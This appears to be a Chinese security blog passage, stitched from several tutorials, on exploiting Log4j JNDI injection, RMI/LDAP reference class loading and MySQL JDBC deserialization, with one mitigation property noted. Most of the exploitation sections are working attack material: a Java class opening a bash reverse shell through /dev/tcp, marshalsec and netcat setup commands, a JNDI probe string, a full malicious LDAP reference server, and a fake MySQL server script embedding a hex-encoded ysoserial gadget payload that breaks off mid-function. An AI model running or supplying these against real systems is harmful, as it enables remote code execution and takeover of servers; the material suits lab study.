图片

图片

图中标注1的地方入参就是jndi:rmi://127.0.0.1:1099/hello

图中标注2的地方就是jndi

图中标注3的地方就是rmi://127.0.0.1:1099/hello

图中标注4的地方就是处理器JndiLookup类的对象

图中标注5的地方就是jndi来处理的入口

修复

图片

主要是通过设置noLookups变量的值,不让它进去这个if里面的逻辑。

这个变量的值是来自下面这个属性

图片

所以在在代码中加入System.setProperty("log4j2.formatMsgNoLookups","true");这句也就可以了

复现

网上有很多现成的靶场,我直接拿ctfshow靶场做例子

图片

有一个登录框,也就是我之前提的登陆例子

用dnslog当poc测下有洞没

1
${jndi:ldap://dnslog.com/exp}

这里简单讲下为啥可以拿dnslog当poc测,因为上文讲到的
org.apache.logging.log4j.core.lookup.Interpolator 的resolver定义了10种类型,其中包括了JNDI如果匹配到JNDI就交给JNDIlookup去处理,这里处理就跟我文章开头举得那个例子一个道理了。

0x01 准备工作

1
2
3
4
5
6
7
8
9
10
11
12
public class evil {
static{
try {
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xxx/50025;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}

网上随便拿的一个恶意类,只要能反弹shell就行
接着因为要搭LDAP环境,如果是手动搭会比较麻烦,这里用工具

marshalsec-0.0.3-SNAPSHOT-all.jar 搭

0x02 监听端口

1
nc -lvnp 50025

端口自己设置就好

0x03 起http服务

1
python3 -m http.server 50026

这里我用python起的http服务,php也行,端口也是随意,只要不冲突就行,但是要注意的是要在恶意java类的目录下起http服务,而且要把该java文件编译成class文件。

0x04 起LDAP服务

1
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xxx:50026/#evil"

这里的端口要和http服务的端口一样

0x05 验证

图片

提交后,就能看到已经加载了恶意类,监听的端口也反弹到了shell

前提知识

RMI动态加载恶意类

RMI介绍

RMI,远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。

RMI分为三个主体部分:

Client-客户端:客户端调用服务端的方法

Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。

Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

RMI使用

Server部署:

Server向Registry注册远程对象,远程对象绑定在一个//hostL:port/objectname上,形成一个映射表(Service-Stub)。

Client调用:

Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。

Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程

RMI服务器

Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。

列举几个函数

bind:将远程对象绑定到注册中心

rebind:重新绑定一个远程对象

unbind:取消一个过程对象的绑定

list:列出注册中心绑定对象

lookup:在注册中心获取一个远程对象的存根

RMI利用

RMI远程加载代码的过程,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase(就算是一个地址,指定jvm从哪个地方去搜集类,和ClassPath,jdbc的url一样,通常是远程的URL,比如http,ftp等)中的类,所以只要控制了codebase,就可以加载任何恶意类

但是官方注意到后,在后面的版本(6u45、7u21,8u121以后)加了限制(java.rmi.server.useCodebaseOnly默认配置已经改为了true。),满足如下条件的才可以攻击

安装并配置了SecurityManager,(需要自己设置为trust)

java.rmi.server.useCodebaseOnly 配置为 flase,如果为 true,则将禁用自动加载类文件,不允许远程加载对象

0x00 - JNDI 是什么?

JNDI 名为 Java命名和目录接口,具体概念比较复杂难懂,具体细节不用了解,简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务例如 LDAP、RMI 等

JNDI提供了两个服务,命名服务和目录服务。

命名服务将一个对象和一个名称绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。

目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。

对比一下命名服务和目录服务,其实命名服务就是绑定对象,而目录服务就是绑定了对象的属性。在JNDI中,命名服务和目录服务是一起结合提供的,最容易理解的一个例子就是RMI。

0x01. JNDI 获取并调用远程方法

想要实现JNDI,我们首先得需要一个容器,然后我们将一个对象绑定到容器里面。(这里结合RMI来实现一个简单的示例)

1、创建一个远程调用对象

首先创建一个接口,继承Remote接口:

1
2
3
public interface RemoteMethod extends Remote {
    public void sayBye() throws RemoteException;
}

 创建一个远程对象,实现该接口,并继承UnicastRemoteObject类:

1
2
3
4
5
6
7
8
9
10
11
12
class test extends UnicastRemoteObject implements RemoteMethod {
    public String name;
    public int age;
    public test(String name,int age) throws RemoteException {
        super();
        this.age = age;
        this.name = name;
    }
    public void sayBye(){
        System.out.println("say bye!!");
    }
}

2、开启RMI服务端

创建一个RMI服务端,并将一个远程对象绑定到注册表中

1
2
3
4
5
6
7
public class Server {
    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
        test test = new test("test",22);
        LocateRegistry.createRegistry(1099);
        Naming.bind("test",test);
    }
}

3、利用JNDI远程获取对象

我们想要使用JNDI来远程获取对象,首先得需要获取一个容器,我们先看如下实例代码:

1
2
3
4
5
6
7
8
9
10
public class jndi {
    public static void main(String[] args) throws RemoteException, NamingException {
        Properties env = new Properties();
      env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        RemoteMethod remoteMethod = (RemoteMethod) ctx.lookup("test");
        remoteMethod.sayBye();
    }
}

Context.PROVIDER_URL参数表示指定一个远程加载的地址,例如上面的rmi://127.0.0.1:1099,当我们通过lookup函数进行查找对象的时候,其实就是在rmi://127.0.0.1:1099/test这个里面进行的查找。
​ 最后远程调用方法之后,会在服务端执行代码,将结果返回给JNDI客户端。

0x02.JNDI注入漏洞

通过上面的这个例子,我们可以知道,通过JNDI可以远程加载对象。除了通过上面的Context.PROVIDER_URL来设置URL以外,我们可以直接在lookup参数指定URL,例如lookup(“rmi://127.0.0.1:1099/test”),由于JNDI存在一个动态地址转换协议,也就是说当我们在lookup上指定一个URL的时候,就会优先于Context.PROVIDER_URL的设置进行加载。

如果这个lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类。但是这里又会遇到一个问题,就是怎么进行攻击呢?

当我们指定一个恶意的URL地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者。当然,如果受害者内部存在漏洞组件存在反序列化漏洞的话,我们可以构造恶意的序列化对象,返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞;如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。

0x03.Reference类

为了解决上面这个问题,我们引入了一个Reference类,这个类表示对存在于命名或者目录系统以外的对象的引用。简单理解一下,就是如果RMI服务端返回的是一个Reference对象或者其子类对象的话,当客户端获取远程对象Stub的时候,我们就可以指定客户端从一个具体的服务端上去加载class文件从而完成这个类的实例化。

 Reference类实例化需要三个参数:

1
2
3
className:表示远程加载时所使用的类名
classFactory:加载class中需要实例类的名称
classFactoryLocation:指定远程加载类的地址

例如我们创建如下Reference类实例,并将其绑定到注册表中:

1
2
3
4
5
6
7
8
public class Server {
    public static void main(String[] args) throws NamingException, RemoteException, MalformedURLException, AlreadyBoundException {
        Reference reference = new Reference("111","evil","http://remoteurl:8080/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        LocateRegistry.createRegistry(1099);
        Naming.bind("test",referenceWrapper);
    }
}

然后编写一个evil.java恶意类,编译之后,将evil.class上传到服务器上:

1
2
3
4
5
6
7
8
9
10
import java.io.IOException;
public class evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();  
        }
    }
}

之后使用JNDI来远程获取这个绑定的对象,最终会在本地弹出计算器

1
2
3
4
5
6
7
public static void main(String[] args) throws NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        ctx.lookup("test");
    }

当有客户端通过 lookup("obj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 ClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/ClassName.class 动态加载 classes 并调用 Classfactory 的构造函数。
由此说明在获取 RMI 远程对象时,可以动态地加载外部代码进行对象类型实例化,而 JNDI 同样具有访问 RMI 远程对象的能力,只要其查找参数即 lookup() 函数的参数值可控,那么就有可能促使程序去加载和自信部署在攻击者服务器上的恶意代码。

0x04.动态协议转换

在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 等):

1
2
3
4
5
6
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);

而在调用 lookup() 或者 search() 时,可以使用带 URL 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URL格式去转换上下文环境访问 LDAP 服务上的绑定对象:

1
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

这里主要实现代码在这:

1
2
3
4
5
public Object lookup(String name) throws NamingException {
//getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象
//然后在对应协议中去lookup搜索,我们进入lookup函数
return getURLOrDefaultInitCtx(name).lookup(name);
}

getURLOrDefaultInitCtx() 函数的具体代码实现为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected Context getURLOrDefaultInitCtx(Name paramName) throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
if (paramName.size() > 0) {
String str1 = paramName.get(0);
String str2 = getURLScheme(str1); // 尝试解析 URI 中的协议
if (str2 != null) {
// 如果存在 Schema 协议,则尝试获取其对应的上下文环境
Context localContext = NamingManager.getURLContext(str2, this.myProps);
if (localContext != null) {
return localContext;
}
}
}
return getDefaultInitCtx();
}

但第一次调用 lookup() 函数的时候,会对上下文环境进行一个初始化,这时候代码会对 paramName 参数值进行一个 URL 解析,如果 paramName 包含一个特定的 Schema 协议,代码则会使用相应的工厂去初始化上下文环境,这时候不管之前配置的工厂环境是什么,这里都会被动态地对其进行替换

这里有几个坑需要注意一下:

1、首先就是jdk的版本,高版本的jdk做了限制,因此尽量使用jkd1.7版本

2、恶意类中不要带package包名,否则可能会报错

我们梳理一下整个调用流程。首先我们创建了一个Reference实例对象,这三个参数表示的意思为:当远程加载对象之后,会先从本地找111.class文件是否存在,如果不存在,则从远程服务端http://remoteurl:8080/中查找evil.class文件。接下来使用了ReferenceWrapper来包裹Reference是,原因是远程对象需要继承UnicastRemoteObject类,而Reference类并没有对该类进行继承,因此我们需要封装一下,跟进ReferenceWrapper类,可以发现其继承了UnicastRemoteObject类:

图片

对于JNDI注入漏洞,我们的攻击方式如下:(利用RMI)

1、在存在注入的地方利用RMI远程加载,指向恶意的URL

2、我们在恶意的URL上搭建一个RMI服务,并绑定一个Reference对象,并指定恶意类的加载路径

3、在服务端上放置恶意类编译后的class文件

最后进行攻击流程的总结:

  1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URL为 rmi://evil.com:1099/refObj;
  2. 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/
  3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 想绑定的 ReferenceWrapper 对象(Reference(“EvilObject”, “EvilObject”, “http://realevil.com/“));
  4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://realevil.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://realevil.com/EvilObject.class;
  5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;
  6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行

0x05.LDAP-JNDI注入

LDAP一般指轻型目录访问协议,可以把它理解成存储数据的数据库。和其他数据库一样,LDAP也是有client端和server端。server端是用来存放资源,client端用来操作增删改查等操作

因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制

需要unboundid-ldapsdk的依赖:

1
2
3
4
5
6
7
    <dependencies>
    <dependency>
        <groupId>com.unboundid</groupId>
        <artifactId>unboundid-ldapsdk</artifactId>
        <version>3.1.1</version>
    </dependency>
    </dependencies>

server是参考marshalsec,修改得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

client端

1
2
3
4
5
6
7
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/test");
    }}

恶意类

1
2
3
4
5
public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

0x06.代码调试

具体的代码调试实现参考这篇文章

https://blog.csdn.net/weixin_54648419/article/details/123221292

从Server端解析传入的URL,直接来到RegistryContexr#lookup方法

图片

this.registry仍然是RegistryImpl_Stub,执行lookup方法获取的是一个ReferenceWrapper_Stub对象

图片

RegistryContext#decodeObject方法中会根据这个ReferenceWrapper_Stub对象获取Reference对象

图片

getReference方法,发现又调用了UnicastRef#invoke ⽅法

图片

相当于进⾏了⼀次远程⽅法调⽤

图片

图片

这里的参数正好对应着 RMI 服务端中的 ReferenceWrapper#getReference ⽅法(由ReferenceWrapper 实现的 RemoteReference 接⼝)

图片

于是这次远程⽅法调⽤的结果就是返回了远程 ReferenceWrpper 包装的 Reference 对象

图片

因为条件运算符前面成立,返回前面得表达式,继续跟进到 NamingManager#getObjectInstance ⽅法,跟到NamingManager##getObjectFactoryFromReference方法获取factory实例

跟进发现首先进行本地加载,加载失败以后,再从codebase加载factory

图片

其中,下面的LoadClass加载方式为 URLClassLoader,成功加载执行了恶意代码,最后返回factory实例

图片

JDBC(Java DataBase Connectivity)是Java和数据库之间的一个桥梁,是一个 规范 而不是一个实现,能够执行SQL语句。它由一组用Java语言编写的类和接口组成。各种不同类型的数据库都有相应的实现,简单来说,你可以理解为 JDBC是封装好的数据库接口,你可以直接使用java调用该组件的接口,他把数据库的协议封装好了,让你无需对协议进行理解即可使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
String Driver = "com.mysql .cj.jdbc.Driver"; //从 mysql-connector-java 6开始
//String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
String DB_URL="jdbc:mysql://127.0.0.1:3306/security";
//1.加载启动
Class.forName(Driver);
//2.建立连接
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
//3.操作数据库,实现增删改查
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from users");
//如果有数据,rs.next()返回true
while(rs.next()){
System.out.println(rs.getString("id")+" : "+rs.getString("username"));

java序列化对象特征

这个东西是为了理解下面的代码而写的.

我们先写一个简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Car implements Serializable {

private String name;
public Car(){
this.name ="car";
}

public static void main(String[] args) throws IOException {
Car car=new Car();
FileOutputStream fos =new FileOutputStream("output");
ObjectOutputStream oos =new ObjectOutputStream(fos);
oos.writeObject(car);
oos.close();
}
}

上面的代码把一个Car对象输出到了文件中.我们看一下文件的字节内容
图片

图片

可以看到我们序列化后的对象前两个字节分别是-84-19 .这个是java对象的一个标识,后面会用到这两个数字

原理分析

连接数据库URL中关键的地方就三个

url中的目标地址是可控的,那么连接到哪个mysql服务就可控,可以编写一个恶意的mysql服务,这个后面会提到

queryInterceptors属性相当于一个拦截器,连接代码中指定为com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor类,当执行数据库查询操作时,就经过ServerStatusDiffInterceptor类的postProcess和preProcess方法,在连接数据库时也会调用到preProcess方法

autoDeserialize属性是利用反序列化需要用到的,这个后面会提,剩下的

根据原作者的思路去分析他是如何去挖掘这个漏洞的.

  • 反序列化漏洞,那就需要可以解析我们传过来的恶意对象.而不是把我们传输过来的当做字节数据处理. 所以需要找到一个可以readObject的地方
    1
    于是作者在这里盯上了com.mysql.cj.jdbc.result.ResultSetImpl.getObject(). 主要看其中重要的逻辑代码,对源代码进行了部分删减.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Object getObject(int columnIndex) throws SQLException {

Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
//判断数据是不是blob或者二进制数据
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
//获取连接属性的autoDeserialize是否为true
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
//data长度大于等于2是为了下一个判断.
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
//上面已经分析过了,就是识别是不是序列化后的对象
// Serialized object?
//下面就是反序列化对象了.
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
}
}
}
return obj;
}
return data;
}

现在就是找调用 getObject的地方了.作者找到了
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()方法。

ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcess和postProcess方法,进而通过上述调用链最终调用getObject()方法。

图片

图片

图片

在JDBC连接数据库的过程中,会调用SHOW SESSION STATUS去查询,然后对结果进行处理的时候会调用resultSetToMap.跟进去

图片

到这里我们已经找到了一个利用链了.设置拦截器,然后进入到getObject,在getObject中,只要autoDeserialize 为True.就可以进入到最后readObject中.

跟进ResultSetImpl#getObject方法,一系列的操作最终会执行到反序列化操作,而反序列化的内容data变量可以通过编写的恶意mysql服务器控制!然后就是看前面的一系列判断条件了,通过columnIndexMinusOne获取field,columnIndexMinusOne又是通过columnIndex计算出来的,调试的时候columnIndex为2,columnIndexMinusOne为1,也就是上一步的第二次调用getObject方法才进入反序列化。然后判断field的类型,当field类型为BIT或者BLOB类型时(case BLOB里面的代码跟case BIT是一样的),通过columnIndex获取到反序列化的字节数组data,然后判断autoDeserialize属性值是否为true(这就是为什么前面POC中设置其为true的原因),然后data字节数组需要不为空且长度大于2,并且前两个字节为84和19(其实这个两个字节就是序列化数据的标记,这两个字节开头的数据就是序列化数据),最后进入反序列化操作

这也是POC中的queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true的由来

复现的思路

在JDBC连接MySQL的过程中,执行了SHOW SESSION STATUS语句.我们返回的结果需要是一个恶意的对象.那就是说我们需要自己写一个假的MYSQL服务.

这里就会有两种写法1.根据MYSQL的协议去写服务器. 2.抓包,模拟发包过程.

这里选择使用第二种方法

这里就直接用大佬的jio本

fake_mysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
//file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
